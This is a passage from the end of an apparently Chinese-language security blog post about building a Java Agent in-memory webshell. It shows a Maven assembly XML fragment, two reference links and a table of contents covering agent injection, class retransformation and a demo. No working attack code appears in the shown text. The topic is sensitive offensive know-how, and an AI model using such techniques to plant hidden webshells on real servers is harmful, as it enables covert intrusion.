<unpack>true</unpack>
<scope>system</scope>
</dependencySet>
</dependencySets>
</assembly>

0x07 参考

https://www.freebuf.com/news/172753.html

https://xz.aliyun.com/t/11003#toc-0

CATALOG
  1. 1. 0x01 Java Agent概述
  2. 2. 0x02 Java Agent内存马初步实现
    1. 2.1. 1.加载agent方法
      1. 2.1.0.1. VirtualMachine
      2. 2.1.0.2. Inject.jar
  3. 2.2. 2.编写agent
    1. 2.2.0.1. Instrumentation
    2. 2.2.0.2. addTransformer
    3. 2.2.0.3. getAllLoadedClasses
    4. 2.2.0.4. retransformClasses
    5. 2.2.0.5. redefineClasses
    6. 2.2.0.6. agent.jar(一)-retransformClasses
    7. 2.2.0.7. agent.jar(二)-redefineClasses
  • 2.3. 3.演示demo
  • 3. 0x03 Java Agent内存马-inject、agent二合一
  • 4. 0x04 编写代码遇到的问题
  • 5. 0x05 关于tools.jar的问题
  • 6. 0x06 最终项目结构
  • 7. 0x07 参考